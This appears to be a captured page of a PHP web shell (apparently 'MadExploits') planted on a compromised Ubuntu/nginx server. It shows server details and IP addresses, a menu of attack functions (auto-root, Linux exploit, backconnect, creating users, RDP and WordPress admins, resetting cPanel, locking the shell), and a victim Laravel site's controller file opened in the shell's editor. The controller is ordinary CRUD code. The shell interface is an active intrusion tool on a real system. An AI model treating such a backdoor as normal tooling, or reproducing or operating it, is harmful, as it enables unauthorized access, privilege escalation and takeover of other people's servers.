Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.2
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
nepalphd /
app /
Http /
Controllers /
[ HOME SHELL ]
Name
Size
Permission
Action
Auth
[ DIR ]
drwxrwxr-x
admin
[ DIR ]
drwxrwxr-x
frontend
[ DIR ]
drwxrwxr-x
AlbumImageController.php
2.22
KB
-rw-rw-r--
Controller.php
361
B
-rw-rw-r--
DownloadController.php
125
B
-rw-rw-r--
ExecutiveCommitteeTermControll...
11.6
KB
-rw-rw-r--
HomeController.php
467
B
-rw-rw-r--
PublicationController.php
6.12
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ExecutiveCommitteeTermController.php
<?php namespace App\Http\Controllers; use App\Http\Requests\CommitteRequest; use App\Models\Commitee; use App\Models\CommitteeType; use App\Models\ExecutiveCommitteeTerm; use App\Http\Requests\StoreExecutiveCommitteeTermRequest; use App\Http\Requests\UpdateExecutiveCommitteeTermRequest; use App\Models\MasterCommittee; use App\Models\Member; use App\Http\Requests\UpdateCommitteRequest; use Illuminate\Http\Response; class ExecutiveCommitteeTermController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { try { $ec_terms = ExecutiveCommitteeTerm::latest()->get(); $subCommittees = CommitteeType::where('isSubCommittee',true)->get(); return view('admin.executive_committee_term.index',compact('ec_terms','subCommittees')); } catch (\Throwable $th) { throw $th; return redirect()->back()->with('error',"Something Went Wrong"); } } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { return view('admin.executive_committee_term.create'); } /** * Store a newly created resource in storage. * * @param \App\Http\Requests\StoreExecutiveCommitteeTermRequest $request * @return \Illuminate\Http\Response */ public function store(StoreExecutiveCommitteeTermRequest $request) { try { $ec_term = ExecutiveCommitteeTerm::create($request->validated()); if($ec_term->status){ ExecutiveCommitteeTerm::where('id', '!=', $ec_term->id)->update(['status' => false]); } return redirect()->route('ec_terms.index')->with('success', 'Executive Committee Term created successfully.'); } catch (\Throwable $th) { return $th; return redirect()->back()->with('error', 'Something went wrong. Please try again.'); } } /** * Display the specified resource. * * @param \App\Models\ExecutiveCommitteeTerm $executiveCommitteeTerm * @return \Illuminate\Http\Response */ public function show(ExecutiveCommitteeTerm $executiveCommitteeTerm) { return view('admin.executive_committee_term.show', compact('executiveCommitteeTerm')); } /** * Show the form for editing the specified resource. * * @param \App\Models\ExecutiveCommitteeTerm $executiveCommitteeTerm * @return \Illuminate\Http\Response */ public function edit(ExecutiveCommitteeTerm $ec_term) { return view('admin.executive_committee_term.edit', compact('ec_term')); } /** * Update the specified resource in storage. * * @param \App\Http\Requests\UpdateExecutiveCommitteeTermRequest $request * @param \App\Models\ExecutiveCommitteeTerm $executiveCommitteeTerm * @return \Illuminate\Http\Response */ public function update(UpdateExecutiveCommitteeTermRequest $request, ExecutiveCommitteeTerm $ec_term) { try { //dd($request->validated()); $ec_term->update($request->validated()); if($ec_term->status){ ExecutiveCommitteeTerm::where('id', '!=', $ec_term->id)->update(['status' => false]); } return redirect()->route('ec_terms.index')->with('success', 'Executive Committee Term updated successfully.'); } catch (\Throwable $th) { return redirect()->back()->with('error', 'Something went wrong. Please try again.'); } } /** * Remove the specified resource from storage. * * @param \App\Models\ExecutiveCommitteeTerm $executiveCommitteeTerm * @return \Illuminate\Http\Response */ public function destroy(ExecutiveCommitteeTerm $executiveCommitteeTerm) { try { $executiveCommitteeTerm->delete(); return redirect()->route('ec_terms.index')->with('success', 'Executive Committee Term deleted successfully.'); } catch (\Throwable $th) { return redirect()->back()->with('error', 'Something went wrong. Please try again.'); } } public function CreateExecutiveCommittee($executiveCommitteeTermId){ try { $executiveCommitteeTerm = ExecutiveCommitteeTerm::find($executiveCommitteeTermId); $committee_types = CommitteeType::all(); $members = Member::orderBy('name')->get(); $master_committees = MasterCommittee::orderBy('rank')->get(); $ec_terms = ExecutiveCommitteeTerm::all(); $committee = Commitee::with('committee_types', 'members', 'master_committees') ->where([ 'committee_types_id' => 1, 'ec_terms_id' => $executiveCommitteeTermId ]) ->get() ->sortBy('master_committees.rank') ->sortBy('status'); return view('admin.executive_committee_term.CreateExecutiveCommittee',compact('executiveCommitteeTerm','committee_types','members','master_committees','ec_terms','committee')); } catch (\Throwable $th) { throw $th; } } public function EditExecutiveCommittee($committee_id){ try { $editCommittee = Commitee::find($committee_id); $committee_types = CommitteeType::all(); $members = Member::orderBy('name')->get(); $master_committees = MasterCommittee::orderBy('rank')->get(); $ec_terms = ExecutiveCommitteeTerm::all(); $committee = Commitee::with('committee_types', 'members', 'master_committees') ->where([ 'committee_types_id' => 1, 'ec_terms_id' => $editCommittee->ec_terms_id ]) ->get() ->sortBy('master_committees.rank') ->sortBy('status'); $executiveCommitteeTerm = ExecutiveCommitteeTerm::findOrFail($editCommittee->ec_terms_id); return view('admin.executive_committee_term.EditExecutiveCommittee',compact('executiveCommitteeTerm','committee_types','members','master_committees','ec_terms','committee','editCommittee')); } catch (\Throwable $th) { throw $th; } } public function StoreExecutiveCommittee(CommitteRequest $request) { try{ $input['members_id'] = $request->members_id; $input['master_committees_id'] = $request->master_committees_id; $input['committee_types_id'] = $request->committee_types_id; $input['start_date'] = $request->start_date; $input['end_date'] = $request->end_date; $input['remarks'] = $request->remarks; $input['status'] = $request->status; $input['display_order'] = $request->display_order; $input['ec_terms_id'] = $request->ec_terms_id; Commitee::create($input); return redirect()->back() //->route('ec_terms.createExecutiveCommittee',$input['ec_terms_id']) ->with('success','Committee Member Posted Successfully'); }catch(\Exception $e){ // return $e; return redirect()->route('ec_terms.ExecutiveCommmitteeList',$input['ec_terms_id'])->with('error','Committee store failed !'); } } public function UpdateExecutiveCommittee(UpdateCommitteRequest $request, $committee_id) { try { $committee = Commitee::findOrFail($committee_id); $input['id'] = $request->id; $input['members_id'] = $request->members_id; $input['master_committees_id'] = $request->master_committees_id; $input['committee_types_id'] = $request->committee_types_id; $input['start_date'] = $request->start_date; $input['end_date'] = $request->end_date; $input['remarks'] = $request->remarks; $input['status'] = $request->status; $input['display_order'] = $request->display_order; $input['ec_terms_id'] = $request->ec_terms_id; $committee->update($input); $executiveCommitteeTerm = ExecutiveCommitteeTerm::findOrFail($committee->ec_terms_id); if($input['committee_types_id'] == 1) { return redirect()->route('ec_terms.createExecutiveCommittee',$executiveCommitteeTerm) ->with('success', 'Committee updated successfully'); }else { return redirect()->route('ec_terms.createSubExecutiveCommittee',[$executiveCommitteeTerm->id, $input['committee_types_id']]) ->with('success', 'Committee updated successfully'); } } catch (\Exception $e) { throw $e; // Redirect back with error message return redirect() ->back() ->with('error', 'Something went wrong'); } } public function CreateSubExecutiveCommittee($ec_terms_id,$committee_types_id){ try { $executiveCommitteeTerm = ExecutiveCommitteeTerm::findOrFail($ec_terms_id); $committee_types = CommitteeType::all(); $subCommittee = CommitteeType::findOrFail($committee_types_id); $members = Member::orderBy('name')->get(); $master_committees = MasterCommittee::orderBy('rank')->get(); $ec_terms = ExecutiveCommitteeTerm::all(); $committee = Commitee::with('committee_types', 'members', 'master_committees') ->where([ 'committee_types_id' => $committee_types_id, 'ec_terms_id' => $ec_terms_id ]) ->get() ->sortBy('master_committees.rank') ->sortBy('status'); return view('admin.executive_committee_term.CreateSubExecutiveCommittee',compact('executiveCommitteeTerm','committee_types','members','master_committees','ec_terms','committee','subCommittee')); } catch (\Throwable $th) { throw $th; } } public function EditSubExecutiveCommittee($committee_id){ try { $editCommittee = Commitee::find($committee_id); $committee_types = CommitteeType::all(); $members = Member::orderBy('name')->get(); $master_committees = MasterCommittee::orderBy('rank')->get(); $ec_terms = ExecutiveCommitteeTerm::all(); $committee = Commitee::with('committee_types', 'members', 'master_committees') ->where([ 'committee_types_id' => $editCommittee->committee_types_id, 'ec_terms_id' => $editCommittee->ec_terms_id ]) ->get() ->sortBy('master_committees.rank') ->sortBy('status'); $executiveCommitteeTerm = ExecutiveCommitteeTerm::findOrFail($editCommittee->ec_terms_id); $subCommittee = CommitteeType::findOrFail($editCommittee->committee_types_id); return view('admin.executive_committee_term.EditSubExecutiveCommittee',compact('subCommittee','executiveCommitteeTerm','committee_types','members','master_committees','ec_terms','committee','editCommittee')); } catch (\Throwable $th) { throw $th; } } }
Close